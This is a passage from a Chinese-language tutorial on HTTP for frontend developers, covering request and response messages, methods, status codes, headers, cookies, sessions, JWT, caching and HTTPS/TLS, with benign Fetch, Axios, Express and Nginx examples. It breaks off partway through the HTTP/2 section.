重新学习前端之HTTP

1 阅读29分钟

HTTP

一、HTTP 协议基础

1.1 什么是 HTTP 协议?

定义:

HTTP(HyperText Transfer Protocol,超文本传输协议)是应用层协议,基于 TCP/IP 通信协议来传递数据(HTML 文件、图片文件、查询结果等)。HTTP 是 Web 的基础,万维网数据通信的基础。

核心原理:

  • 客户端-服务器模式:浏览器(客户端)发起请求,服务器响应请求
  • 无状态协议:每次请求都是独立的,服务器不会保存客户端的状态
  • 请求-响应模型:客户端发送请求报文,服务器返回响应报文
  • 基于 TCP:默认端口 80(HTTP)或 443(HTTPS)

工作流程:

1. 客户端发起 TCP 连接(三次握手)
2. 客户端发送 HTTP 请求报文
3. 服务器处理请求并返回 HTTP 响应报文
4. 关闭连接(或保持连接复用)

常见误区:

  • HTTP 不是传输层协议,而是应用层协议
  • HTTP 无状态不代表无法维持状态,通过 Cookie/Session 可以实现状态管理
  • HTTP 不是完全不安全,只是不加密,配合 HTTPS 可以安全传输

1.2 HTTP 报文结构

HTTP 报文分为 请求报文响应报文,都由三部分组成:

起始行(请求行/状态行)
头部(Headers)
空行
消息体(Body
1.2.1 HTTP 请求报文

结构:

请求行:方法 + URL + HTTP版本
请求头:键值对集合
空行:分隔头部和消息体
消息体:请求数据(可选)

示例:

POST /api/users HTTP/1.1
Host: www.example.com
Content-Type: application/json
Content-Length: 52
Accept: application/json
Authorization: Bearer xxxxx

{"name":"张三","age":25,"email":"zhangsan@example.com"}

各部分说明:

  • 请求行

    • 方法:GET、POST、PUT、DELETE 等
    • URL:请求的资源路径
    • HTTP版本:HTTP/1.1 或 HTTP/2
  • 请求头

    • Host:目标服务器域名(HTTP/1.1 必需)
    • Content-Type:请求体数据类型
    • Content-Length:请求体长度
    • Accept:客户端接受的数据类型
    • User-Agent:客户端信息
  • 消息体

    • GET 请求通常没有消息体
    • POST/PUT 请求包含要发送的数据
1.2.2 HTTP 响应报文

结构:

状态行:HTTP版本 + 状态码 + 状态描述
响应头:键值对集合
空行:分隔头部和消息体
消息体:响应数据(可选)

示例:

HTTP/1.1 200 OK
Date: Sat, 15 Mar 2026 10:00:00 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 86
Cache-Control: max-age=3600
ETag: "abc123"

{"id":1,"name":"张三","age":25,"email":"zhangsan@example.com","status":"success"}

各部分说明:

  • 状态行

    • HTTP版本:服务器使用的 HTTP 版本
    • 状态码:3位数字,表示请求结果
    • 状态描述:状态码的文字说明
  • 响应头

    • Date:服务器响应时间
    • Content-Type:响应数据类型
    • Content-Length:响应体长度
    • Cache-Control:缓存控制指令
    • Set-Cookie:设置 Cookie
  • 消息体

    • 包含实际的响应数据
    • 204、304 等状态码没有消息体

1.3 完整 HTTP 事务过程

流程说明:

从用户在浏览器输入 URL 到页面显示,完整过程如下:

1. DNS 解析
   - 浏览器缓存 -> 操作系统缓存 -> 路由器缓存 -> ISP DNS 服务器 -> 根域名服务器
   - 将域名解析为 IP 地址

2. TCP 连接建立(三次握手)
   - 客户端发送 SYN
   - 服务器回复 SYN+ACK
   - 客户端发送 ACK

3. TLS 握手(HTTPS)
   - 协商加密算法
   - 交换密钥
   - 验证证书

4. 发送 HTTP 请求
   - 构建请求报文
   - 通过 TCP 连接发送

5. 服务器处理请求
   - 接收请求
   - 解析报文
   - 处理业务逻辑
   - 生成响应

6. 返回 HTTP 响应
   - 构建响应报文
   - 通过 TCP 连接返回

7. 浏览器渲染页面
   - 解析 HTML
   - 加载 CSS/JS
   - 渲染 DOM 树

8. TCP 连接关闭(四次挥手)
   - 或保持连接复用(Keep-Alive)

时序图:

浏览器                    服务器
  |                         |
  |-- DNS 解析 ------------->|
  |<-- 返回 IP 地址 ---------|
  |                         |
  |-- SYN ----------------->|
  |<-- SYN+ACK -------------|
  |-- ACK ----------------->|
  |                         |
  |-- HTTP Request -------->|
  |                         |
  |                         | 处理请求
  |                         |
  |<-- HTTP Response -------|
  |                         |
  |  渲染页面               |
  |                         |
  |-- FIN ----------------->|
  |<-- FIN+ACK -------------|
  |-- ACK ----------------->|

1.4 HTTP 协议版本演进

版本年份核心特性
HTTP/0.91991仅支持 GET,无头部,纯文本
HTTP/1.01996支持多方法、多类型内容、请求/响应头
HTTP/1.11997持久连接、管道化、分块传输、Host 头
HTTP/22015二进制分帧、多路复用、头部压缩、服务器推送
HTTP/32022基于 QUIC、UDP 传输、零 RTT 连接

二、HTTP 方法

2.1 HTTP 请求方法概述

HTTP/1.1 定义了 8 种请求方法,用于对资源执行不同的操作:

方法说明安全性幂等性
GET获取资源安全幂等
POST提交数据/创建资源不安全不幂等
PUT更新/替换资源不安全幂等
DELETE删除资源不安全幂等
PATCH部分更新资源不安全不幂等
HEAD获取响应头安全幂等
OPTIONS查询支持的方法安全幂等
CONNECT建立隧道连接不安全不幂等

概念解释:

  • 安全性:方法不会修改服务器资源状态
  • 幂等性:多次执行相同请求,结果与一次执行相同

2.2 GET 请求

定义:

GET 方法用于请求指定资源的表示,使用 GET 的请求只应用于获取数据,不应该产生副作用。

特点:

  • 参数附加在 URL 后面(查询字符串)
  • 可被缓存
  • 保留在浏览器历史记录中
  • 可收藏为书签
  • 有长度限制(URL 长度限制)
  • 不应处理敏感数据

示例:

GET /api/users?page=1&limit=10 HTTP/1.1
Host: www.example.com
Accept: application/json
// Fetch API
fetch('/api/users?page=1&limit=10', {
  method: 'GET',
  headers: {
    'Accept': 'application/json'
  }
})
.then(response => response.json())
.then(data => console.log(data));

// Axios
axios.get('/api/users', {
  params: { page: 1, limit: 10 }
})
.then(response => console.log(response.data));

2.3 POST 请求

定义:

POST 方法用于向指定资源提交数据,请求服务器处理(例如提交表单、上传文件),数据包含在请求体中。

特点:

  • 数据放在请求体中
  • 不会被缓存
  • 不保留在浏览器历史记录中
  • 不能收藏为书签
  • 无长度限制
  • 可处理敏感数据

示例:

POST /api/users HTTP/1.1
Host: www.example.com
Content-Type: application/json
Accept: application/json

{
  "name": "张三",
  "age": 25,
  "email": "zhangsan@example.com"
}
// Fetch API
fetch('/api/users', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({
    name: '张三',
    age: 25,
    email: 'zhangsan@example.com'
  })
})
.then(response => response.json())
.then(data => console.log(data));

// Axios
axios.post('/api/users', {
  name: '张三',
  age: 25,
  email: 'zhangsan@example.com'
})
.then(response => console.log(response.data));

2.4 PUT 请求

定义:

PUT 方法用于更新指定资源,或如果资源不存在则创建它。PUT 是幂等的,多次执行结果相同。

特点:

  • 完整替换资源
  • 幂等操作
  • 数据放在请求体中

示例:

PUT /api/users/1 HTTP/1.1
Host: www.example.com
Content-Type: application/json

{
  "id": 1,
  "name": "李四",
  "age": 30,
  "email": "lisi@example.com"
}
// 更新用户信息
axios.put('/api/users/1', {
  name: '李四',
  age: 30,
  email: 'lisi@example.com'
});

2.5 DELETE 请求

定义:

DELETE 方法用于删除指定的资源。DELETE 是幂等的,多次删除同一资源结果相同。

示例:

DELETE /api/users/1 HTTP/1.1
Host: www.example.com
Authorization: Bearer xxxxx
// 删除用户
axios.delete('/api/users/1')
  .then(response => console.log(response.data));

2.6 PATCH 请求

定义:

PATCH 方法用于对资源进行部分更新,与 PUT 不同,PATCH 只更新提供的字段,而不是替换整个资源。

示例:

PATCH /api/users/1 HTTP/1.1
Host: www.example.com
Content-Type: application/json

{
  "age": 31
}
// 只更新年龄
axios.patch('/api/users/1', { age: 31 });

2.7 HEAD 请求

定义:

HEAD 方法与 GET 方法相同,但服务器只返回响应头,不返回响应体。常用于检查资源是否存在、获取元数据。

使用场景:

  • 检查资源是否存在
  • 获取 Content-Length 预判下载大小
  • 检查资源是否被修改(配合 ETag)
// 检查资源是否存在
fetch('/api/users/1', { method: 'HEAD' })
  .then(response => {
    console.log('Content-Length:', response.headers.get('content-length'));
    console.log('Last-Modified:', response.headers.get('last-modified'));
  });

2.8 OPTIONS 请求

定义:

OPTIONS 方法用于描述目标资源的通信选项,常用于 CORS 预检请求。

示例:

OPTIONS /api/users HTTP/1.1
Host: www.example.com
Origin: https://frontend.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type, Authorization

服务器响应:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://frontend.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400

2.9 GET 与 POST 的对比

对比项GETPOST
用途获取数据提交数据
参数位置URL 查询字符串请求体
缓存可缓存不可缓存
历史记录保留不保留
书签可收藏不可收藏
长度限制有(URL 长度限制)
安全性较低(参数可见)较高
幂等性幂等不幂等
数据类型仅 ASCII任意类型
书签/分享适合不适合

选择策略:

  • 查询、搜索、获取数据 → GET
  • 创建资源、提交表单、上传文件 → POST
  • 有副作用的操作 → POST
  • 无副作用的查询 → GET

常见误区:

  • GET 不是绝对不安全,只是不应该有副作用
  • POST 不是比 GET 更安全,只是参数不在 URL 中显示
  • GET 的长度限制不是 HTTP 协议规定的,而是浏览器和服务器的限制

2.10 PUT 与 PATCH 的对比

对比项PUTPATCH
更新方式完整替换部分更新
幂等性幂等通常不幂等
请求体完整资源修改的字段
适用场景已知完整资源只更新部分字段

选择策略:

  • 更新整个资源 → PUT
  • 只更新部分字段 → PATCH
  • 资源不存在时,PUT 可创建,PATCH 行为未定义

三、HTTP 状态码

3.1 状态码分类

HTTP 状态码由 3 位数字组成,分为 5 类:

分类说明含义
1xx信息性状态码请求已接收,继续处理
2xx成功状态码请求成功被接收和处理
3xx重定向状态码需要进一步操作以完成请求
4xx客户端错误状态码请求有错误或无法完成
5xx服务器错误状态码服务器处理请求时出错

3.2 常见 2xx 成功状态码

200 OK

定义: 请求成功,响应体包含请求的资源。

示例:

HTTP/1.1 200 OK
Content-Type: application/json

{"id": 1, "name": "张三"}
201 Created

定义: 请求成功,并创建了新的资源。通常在 POST 或 PUT 请求后返回。

使用场景:

  • 创建用户成功
  • 上传文件成功
  • 提交订单成功

示例:

HTTP/1.1 201 Created
Location: /api/users/123
Content-Type: application/json

{"id": 123, "name": "新创建的用户"}
// 创建用户
const response = await axios.post('/api/users', { name: '新用户' });
console.log(response.status); // 201
console.log(response.data); // { id: 123, name: '新用户' }
204 No Content

定义: 请求成功,但响应体没有内容。常用于 DELETE 请求。

使用场景:

  • 删除资源成功
  • 更新资源成功但不需要返回数据
// 删除用户
const response = await axios.delete('/api/users/123');
console.log(response.status); // 204
console.log(response.data); // undefined(无内容)

3.3 常见 3xx 重定向状态码

301 Moved Permanently

定义: 永久重定向。请求的资源已被永久移动到新位置。

特点:

  • 浏览器会缓存重定向
  • 搜索引擎会更新索引
  • 后续请求自动跳转到新 URL
HTTP/1.1 301 Moved Permanently
Location: https://new-domain.com/resource
302 Found

定义: 临时重定向。请求的资源临时移动到其他位置。

特点:

  • 浏览器不会缓存重定向
  • 搜索引擎不会更新索引
  • 请求方法可能被改为 GET
HTTP/1.1 302 Found
Location: https://temp-domain.com/resource
304 Not Modified

定义: 资源未被修改,可使用缓存版本。用于协商缓存。

工作原理:

  1. 客户端发送请求时携带 If-Modified-SinceIf-None-Match
  2. 服务器检查资源是否被修改
  3. 未修改则返回 304,不返回响应体
// 客户端请求
GET /styles.css HTTP/1.1
If-None-Match: "abc123"
If-Modified-Since: Mon, 15 Mar 2026 10:00:00 GMT

// 服务器响应
HTTP/1.1 304 Not Modified
ETag: "abc123"
307 Temporary Redirect

定义: 临时重定向。与 302 类似,但不会改变请求方法。

与 302 的区别:

  • 302:请求方法可能被改为 GET
  • 307:保持原始请求方法不变
308 Permanent Redirect

定义: 永久重定向。与 301 类似,但不会改变请求方法。

与 301 的区别:

  • 301:请求方法可能被改为 GET
  • 308:保持原始请求方法不变

3.4 常见 4xx 客户端错误状态码

400 Bad Request

定义: 请求格式错误,服务器无法理解。

常见原因:

  • JSON 格式错误
  • 缺少必需参数
  • 参数类型不正确
// 错误示例:发送无效 JSON
axios.post('/api/users', 'invalid json')
  .catch(error => {
    console.log(error.response.status); // 400
    console.log(error.response.data);   // { message: 'Invalid JSON format' }
  });
401 Unauthorized

定义: 请求需要身份验证。

响应头:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="api"
// 未携带 token 访问受保护资源
axios.get('/api/profile')
  .catch(error => {
    if (error.response.status === 401) {
      // 跳转到登录页
      window.location.href = '/login';
    }
  });
403 Forbidden

定义: 服务器理解请求,但拒绝执行。与 401 不同,403 表示身份验证已提供但权限不足。

与 401 的区别:

对比项401 Unauthorized403 Forbidden
含义未认证/需要认证已认证但无权限
解决方式提供有效凭证获取相应权限
场景未登录用户访问普通用户访问管理员页面
404 Not Found

定义: 请求的资源不存在。

常见原因:

  • URL 拼写错误
  • 资源已被删除
  • 路由未配置
// Express 路由
app.get('/api/users/:id', (req, res) => {
  const user = getUserById(req.params.id);
  if (!user) {
    return res.status(404).json({ message: '用户不存在' });
  }
  res.json(user);
});
405 Method Not Allowed

定义: 请求方法不被允许。

HTTP/1.1 405 Method Not Allowed
Allow: GET, POST, OPTIONS

3.5 常见 5xx 服务器错误状态码

500 Internal Server Error

定义: 服务器遇到意外情况,无法完成请求。

常见原因:

  • 代码 bug
  • 数据库连接失败
  • 未捕获的异常
// Express 错误处理
app.use((err, req, res, next) => {
  console.error(err.stack);
  res.status(500).json({ 
    message: '服务器内部错误',
    error: process.env.NODE_ENV === 'development' ? err.message : undefined
  });
});
502 Bad Gateway

定义: 网关或代理服务器从上游服务器收到无效响应。

常见原因:

  • 后端服务崩溃
  • 后端服务响应超时
  • 反向代理配置错误
503 Service Unavailable

定义: 服务器暂时无法处理请求。

常见原因:

  • 服务器维护中
  • 服务器过载
  • 限流/降级
HTTP/1.1 503 Service Unavailable
Retry-After: 120
504 Gateway Timeout

定义: 网关或代理服务器未及时从上游服务器收到响应。

常见原因:

  • 后端服务响应超时
  • 数据库查询超时
  • 网络延迟

3.6 状态码速查表

状态码含义分类常见场景
200OK2xx请求成功
201Created2xx创建资源成功
204No Content2xx操作成功,无返回内容
301Moved Permanently3xx永久重定向
302Found3xx临时重定向
304Not Modified3xx协商缓存命中
307Temporary Redirect3xx临时重定向,保持方法
308Permanent Redirect3xx永久重定向,保持方法
400Bad Request4xx请求格式错误
401Unauthorized4xx需要身份验证
403Forbidden4xx权限不足
404Not Found4xx资源不存在
405Method Not Allowed4xx方法不被允许
500Internal Server Error5xx服务器内部错误
502Bad Gateway5xx网关收到无效响应
503Service Unavailable5xx服务不可用
504Gateway Timeout5xx网关超时

四、请求头与响应头

4.1 常见请求头

Accept

定义: 客户端能够处理的内容类型。

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  • q 值表示优先级,范围 0-1
  • */* 表示接受任何类型
Accept-Encoding

定义: 客户端支持的压缩算法。

Accept-Encoding: gzip, deflate, br
  • gzip:最常用的压缩算法
  • deflate:基于 zlib 的压缩
  • br:Brotli 压缩,压缩率更高
Accept-Language

定义: 客户端偏好的语言。

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type

定义: 请求或响应体的 MIME 类型。

常见类型:

Content-Type说明
application/jsonJSON 数据
application/x-www-form-urlencoded表单数据
multipart/form-data文件上传
text/htmlHTML 文档
text/cssCSS 样式表
application/javascriptJavaScript 代码
image/pngPNG 图片

示例:

POST /api/users HTTP/1.1
Content-Type: application/json

{"name": "张三"}
Content-Length

定义: 请求或响应体的字节长度。

Content-Length: 1024
Content-Encoding

定义: 响应体的压缩方式。

Content-Encoding: gzip
User-Agent

定义: 客户端软件信息(浏览器、操作系统等)。

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

用途:

  • 浏览器检测
  • 移动端适配
  • 统计分析
Referer

定义: 当前请求的来源页面 URL。

Referer: https://www.example.com/page1

用途:

  • 防盗链
  • 访问来源统计
  • 安全校验
Origin

定义: 请求的来源(协议 + 域名 + 端口)。

Origin: https://www.example.com

与 Referer 的区别:

对比项OriginReferer
内容仅协议+域名+端口完整 URL
用途CORS 跨域请求访问来源追踪
隐私更安全(不暴露路径)暴露完整路径
Host

定义: 请求的目标服务器域名和端口号。HTTP/1.1 必需。

Host: www.example.com:8080
Authorization

定义: 客户端提供的身份验证凭证。

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=

4.2 常见响应头

Cache-Control

定义: 控制缓存行为。

常见指令:

指令说明
max-age=3600缓存有效期(秒)
no-cache使用缓存前需验证
no-store不缓存任何内容
public可被任何缓存存储
private仅浏览器可缓存
must-revalidate过期后必须重新验证
Cache-Control: max-age=3600, public
ETag

定义: 资源的唯一标识符,用于协商缓存。

ETag: "abc123def456"

生成方式:

  • 文件内容的哈希值
  • 版本号
  • 时间戳
Last-Modified

定义: 资源最后修改时间。

Last-Modified: Mon, 15 Mar 2026 10:00:00 GMT
Set-Cookie

定义: 服务器设置 Cookie。

Set-Cookie: sessionId=abc123; Path=/; HttpOnly; Secure; SameSite=Strict
Location

定义: 重定向的目标 URL。

HTTP/1.1 301 Moved Permanently
Location: https://new-domain.com/resource
WWW-Authenticate

定义: 请求认证时,服务器要求的认证方案。

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="api"

五、Cookie 与 Session

5.1 Cookie

定义:

Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,浏览器会在后续请求中自动携带该 Cookie。

特点:

  • 存储在客户端
  • 大小限制约 4KB
  • 每次请求自动携带
  • 可设置过期时间
  • 可设置作用域

Cookie 属性:

属性说明示例
NameCookie 名称sessionId
ValueCookie 值abc123
Domain作用域.example.com
Path路径/
Expires过期时间Thu, 01 Jan 2027 00:00:00 GMT
Max-Age有效期(秒)3600
HttpOnly禁止 JS 访问HttpOnly
Secure仅 HTTPS 传输Secure
SameSite跨站点请求控制SameSite=Strict

设置 Cookie:

// 服务器端(Express)
res.cookie('sessionId', 'abc123', {
  maxAge: 3600000,
  httpOnly: true,
  secure: true,
  sameSite: 'strict'
});

// 响应头
Set-Cookie: sessionId=abc123; Max-Age=3600; Path=/; HttpOnly; Secure; SameSite=Strict

5.2 Session

定义:

Session 是服务器端存储用户会话信息的机制。服务器为每个用户创建唯一的 Session ID,通过 Cookie 发送给客户端,后续请求通过 Session ID 识别用户。

工作流程:

1. 用户登录
2. 服务器创建 Session,生成 Session ID
3. 服务器将 Session ID 通过 Cookie 发送给客户端
4. 客户端后续请求自动携带 Session ID
5. 服务器通过 Session ID 查找 Session 数据

示例:

// Express Session
const session = require('express-session');

app.use(session({
  secret: 'keyboard cat',
  resave: false,
  saveUninitialized: true,
  cookie: { secure: true, maxAge: 3600000 }
}));

// 存储 Session
app.post('/login', (req, res) => {
  req.session.user = { id: 1, name: '张三' };
  res.json({ message: '登录成功' });
});

// 读取 Session
app.get('/profile', (req, res) => {
  if (!req.session.user) {
    return res.status(401).json({ message: '未登录' });
  }
  res.json(req.session.user);
});

5.3 Cookie 与 Session 的对比

对比项CookieSession
存储位置客户端服务器端
安全性较低(客户端可篡改)较高
存储大小约 4KB无限制(取决于服务器)
性能每次请求携带,消耗带宽仅传输 Session ID
有效期可设置长期有效通常较短
跨域受限可实现跨域共享
适用场景记住用户名、购物车用户登录状态、敏感数据

5.4 Cookie 安全

HttpOnly

定义: 禁止 JavaScript 通过 document.cookie 访问。

作用: 防止 XSS 攻击窃取 Cookie。

Set-Cookie: sessionId=abc123; HttpOnly
// HttpOnly 的 Cookie 无法通过 JS 访问
console.log(document.cookie); // 不包含 HttpOnly Cookie
Secure

定义: 仅在 HTTPS 连接中传输。

作用: 防止 Cookie 在传输过程中被窃听。

Set-Cookie: sessionId=abc123; Secure
SameSite

定义: 控制跨站点请求时是否发送 Cookie。

取值:

说明
Strict完全禁止第三方 Cookie
Lax部分允许(导航到目标站点时)
None完全允许(需配合 Secure)
Set-Cookie: sessionId=abc123; SameSite=Strict

5.5 JWT(JSON Web Token)

定义:

JWT 是一种基于 JSON 的开放标准(RFC 7519),用于在各方之间安全地传输信息。

结构:

Header.Payload.Signature
  • Header:算法和令牌类型
  • Payload:数据(声明)
  • Signature:签名

示例:

// 生成 JWT
const jwt = require('jsonwebtoken');

const token = jwt.sign(
  { userId: 1, role: 'admin' },
  'secret_key',
  { expiresIn: '1h' }
);

// 验证 JWT
app.get('/profile', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];
  
  try {
    const decoded = jwt.verify(token, 'secret_key');
    res.json({ user: decoded });
  } catch (err) {
    res.status(401).json({ message: '无效的 token' });
  }
});

5.6 JWT 与 Session 的对比

对比项JWTSession
存储位置客户端服务器端
状态无状态有状态
扩展性更好(无服务器状态)需要会话存储
性能服务器验证签名查询会话存储
撤销困难(需额外机制)容易(删除会话)
大小较大仅 Session ID
适用场景微服务、API、移动端传统 Web 应用

六、缓存机制

6.1 HTTP 缓存概述

HTTP 缓存是优化 Web 性能的重要手段,可以减少网络传输、降低服务器负载、加快页面加载速度。

缓存分类:

HTTP 缓存
├── 强缓存(不需要向服务器发送请求)
│   ├── Cache-Control
│   └── Expires
│
└── 协商缓存(需要向服务器验证)
    ├── ETag / If-None-Match
    └── Last-Modified / If-Modified-Since

6.2 强缓存

定义:

强缓存指浏览器直接使用本地缓存,不向服务器发送请求。

Cache-Control

定义: HTTP/1.1 引入,通过指令控制缓存行为。

常见指令:

指令说明示例
max-age=3600缓存有效时间(秒)max-age=3600
no-cache缓存但每次使用前需验证no-cache
no-store完全不缓存no-store
public任何缓存都可存储public
private仅浏览器可存储private
must-revalidate过期后必须重新验证must-revalidate
// 缓存 1 小时
Cache-Control: max-age=3600, public

// 不缓存
Cache-Control: no-cache, no-store, must-revalidate

// 仅浏览器缓存
Cache-Control: private, max-age=300
Expires

定义: HTTP/1.0 引入,指定缓存过期时间(绝对时间)。

Expires: Thu, 01 Jan 2027 00:00:00 GMT

与 Cache-Control 的区别:

对比项ExpiresCache-Control
版本HTTP/1.0HTTP/1.1
时间类型绝对时间相对时间
精度依赖客户端时钟不受时钟影响
优先级高(同时存在时覆盖 Expires)

6.3 协商缓存

定义:

协商缓存指浏览器向服务器发送请求,服务器验证资源是否更新,未更新则返回 304。

ETag / If-None-Match

ETag: 服务器为资源生成的唯一标识符。

If-None-Match: 浏览器再次请求时携带上次获取的 ETag。

流程:

1. 首次请求:
   服务器响应 → ETag: "abc123"

2. 再次请求:
   浏览器请求 → If-None-Match: "abc123"
   服务器验证 → ETag 未变 → 304 Not Modified
              → ETag 已变 → 200 + 新资源
// 首次响应
HTTP/1.1 200 OK
ETag: "5d8c72a5"
Content-Type: text/css

/* CSS 内容 */

// 再次请求
GET /styles.css HTTP/1.1
If-None-Match: "5d8c72a5"

// 服务器响应(未修改)
HTTP/1.1 304 Not Modified
ETag: "5d8c72a5"

ETag 生成方式:

// Node.js 示例:基于文件内容生成 ETag
const crypto = require('crypto');
const fs = require('fs');

function generateETag(filePath) {
  const content = fs.readFileSync(filePath);
  const hash = crypto.createHash('md5').update(content).digest('hex');
  return `"${hash}"`;
}
Last-Modified / If-Modified-Since

Last-Modified: 资源最后修改时间。

If-Modified-Since: 浏览器再次请求时携带上次获取的 Last-Modified。

// 首次响应
HTTP/1.1 200 OK
Last-Modified: Mon, 15 Mar 2026 10:00:00 GMT

// 再次请求
GET /styles.css HTTP/1.1
If-Modified-Since: Mon, 15 Mar 2026 10:00:00 GMT

// 服务器响应(未修改)
HTTP/1.1 304 Not Modified

Last-Modified 的局限性:

  • 精度只有秒级
  • 文件内容未变但修改时间变化会导致缓存失效
  • 某些资源可能没有修改时间

6.4 强缓存与协商缓存的对比

对比项强缓存协商缓存
是否发请求不发
服务器参与不参与参与验证
响应码200(from cache)304
性能更快稍慢
准确性可能过期总是最新
适用场景静态资源、版本化文件需验证的资源

6.5 缓存位置

浏览器缓存优先级:

1. Service Worker(可编程缓存)
2. Memory Cache(内存缓存,当前会话)
3. Disk Cache(磁盘缓存,持久化)
4. Push Cache(HTTP/2 推送缓存)

6.6 缓存策略

最佳实践:

静态资源(带 hash):Cache-Control: max-age=31536000(一年)
HTML 页面:Cache-Control: no-cache
API 响应:Cache-Control: no-store 或 max-age=60

Nginx 配置示例:

# 静态资源强缓存
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2)$ {
  expires 1y;
  add_header Cache-Control "public, immutable";
}

# HTML 不缓存
location ~* \.html$ {
  add_header Cache-Control "no-cache, no-store, must-revalidate";
}

# API 缓存 1 分钟
location /api/ {
  add_header Cache-Control "public, max-age=60";
}

6.7 禁用缓存

方法:

Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0

HTML Meta 标签(不推荐,效果有限):

<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Expires" content="0">

七、HTTPS 与 SSL/TLS

7.1 HTTP 与 HTTPS 的对比

对比项HTTPHTTPS
全称HyperText Transfer ProtocolHTTP Secure
安全性明文传输,不安全加密传输,安全
端口80443
协议层TCPTCP + SSL/TLS
证书不需要需要 CA 证书
SEO权重较低权重较高
性能较快(无加密开销)稍慢(有握手开销)

7.2 HTTPS 工作原理

定义:

HTTPS = HTTP + SSL/TLS,通过 SSL/TLS 协议对 HTTP 数据进行加密传输。

核心安全机制:

HTTPS 安全保障
├── 加密传输(防窃听)
├── 身份验证(防篡改)
└── 数据完整性(防伪造)

7.3 加密算法

对称加密

定义: 加密和解密使用相同的密钥。

常见算法:

算法密钥长度特点
AES128/192/256 位速度快,安全性高,最常用
DES56 位已被淘汰
3DES112/168 位DES 改进版,逐渐淘汰

特点:

  • 加密/解密速度快
  • 适合大数据量加密
  • 密钥分发困难
非对称加密

定义: 使用公钥加密,私钥解密(或私钥签名,公钥验证)。

常见算法:

算法特点
RSA最常用,基于大数分解难题
ECC密钥短,安全性高
DSA仅用于数字签名

特点:

  • 安全性高
  • 加密/解密速度慢
  • 适合密钥交换和数字签名
混合加密

HTTPS 采用混合加密:

1. 使用非对称加密交换对称密钥
2. 使用对称加密传输实际数据

原因:

  • 非对称加密安全性高,但速度慢
  • 对称加密速度快,但密钥分发困难
  • 结合两者优势,既安全又高效

7.4 数字证书

定义:

数字证书是由 CA(Certificate Authority,证书颁发机构)颁发的电子文档,用于证明公钥的所有者身份。

证书内容:

  • 域名
  • 证书颁发机构
  • 有效期
  • 公钥
  • 签名算法
  • 颁发者签名

证书链:

根证书(Root CA)
  └── 中间证书(Intermediate CA)
        └── 服务器证书(Server Certificate)

验证流程:

1. 浏览器获取服务器证书
2. 验证证书链(从服务器证书到根证书)
3. 检查证书是否过期
4. 检查证书是否被吊销(CRL/OCSP)
5. 验证域名是否匹配

7.5 TLS 握手过程

TLS 1.2 握手流程:

客户端                              服务器
  |                                   |
  |-- ClientHello ------------------->|
  |   (支持的版本、加密套件、随机数)   |
  |                                   |
  |<-- ServerHello -------------------|
  |   (选定的版本、加密套件、随机数)   |
  |<-- Certificate -------------------|
  |   (服务器证书)                    |
  |<-- ServerHelloDone ---------------|
  |                                   |
  |-- 验证证书                          |
  |-- 生成预主密钥                      |
  |-- ClientKeyExchange ------------->|
  |   (用公钥加密预主密钥)            |
  |                                   |
  |<-- ChangeCipherSpec --------------|
  |<-- Finished ----------------------|
  |                                   |
  |-- ChangeCipherSpec -------------->|
  |-- Finished ---------------------->|
  |                                   |
  |====== 加密通信 ===================|

TLS 1.3 优化:

  • 减少握手往返次数(1-RTT)
  • 废弃不安全的加密算法
  • 支持 0-RTT(会话恢复)

7.6 数字签名

定义:

数字签名是使用私钥对数据摘要进行加密的结果,用于验证数据的完整性和来源。

流程:

发送方:
1. 对数据计算哈希(摘要)
2. 用私钥加密摘要 → 数字签名
3. 发送数据 + 签名

接收方:
1. 用公钥解密签名 → 原始摘要
2. 对收到的数据计算哈希 → 新摘要
3. 对比两个摘要,一致则验证通过

7.7 HTTPS 优势

  • 防窃听:数据加密传输
  • 防篡改:数据完整性校验
  • 身份验证:证书验证服务器身份
  • SEO 友好:搜索引擎优先收录
  • 用户信任:浏览器显示安全标识

八、HTTP/2 与 HTTP/3

8.1 HTTP 版本对比

版本传输层核心特性
HTTP/1.0TCP短连接,每次请求新建连接
HTTP/1.1TCP持久连接、管道化、分块传输
HTTP/2TCP二进制分帧、多路复用、头部压缩、服务器推送
HTTP/3QUIC(UDP)解决 TCP 队头阻塞、0-RTT 连接

8.2 HTTP/2 核心特性

二进制分帧

定义: HTTP/2 将消息分解为二进制帧进行传输。

HTTP/1.1:文本协议
  GET /index.html HTTP/1.1\r\n
  Host: example.com\r\n
  \r\n

HTTP/2:二进制协议
  ┌─────────────────────┐
  │ Frame (二进制)       │
  │ - Type (DATA/HEADERS)│
  │ - Flags              │
  │ - Payload            │
  └─────────────────────┘

优势:

  • 解析更高效
  • 减少解析错误
  • 支持二进制优化
多路复用

定义: 在同一 TCP 连接上并发发送多个请求/响应,无需等待前一个完成。

HTTP/1.1:
  请求1 ──→ ┌───┐ ┌───┐ ┌───┐
  请求2 ──→ │   │ │   │ │   │  排队等待
  请求3 ──→ └───┘ └───┘ └───┘

HTTP/2:
  请求1 ──→ ┌───┐
  请求2 ──→ │   │  并发传输
  请求3 ──→ └───┘

解决的问题:

  • HTTP/1.1 的队头阻塞
  • 需要建立多个 TCP 连接
  • 浏览器并发连接数限制
头部压缩(HPACK)

定义: 使用 HPACK 算法压缩请求和响应头部。

原理:

  • 维护静态和动态表
  • 编码重复的头部字段
  • 减少传输数据量
HTTP/1.1:
  User-Agent: Mozilla/5.0 ...
  Accept: text/html,...
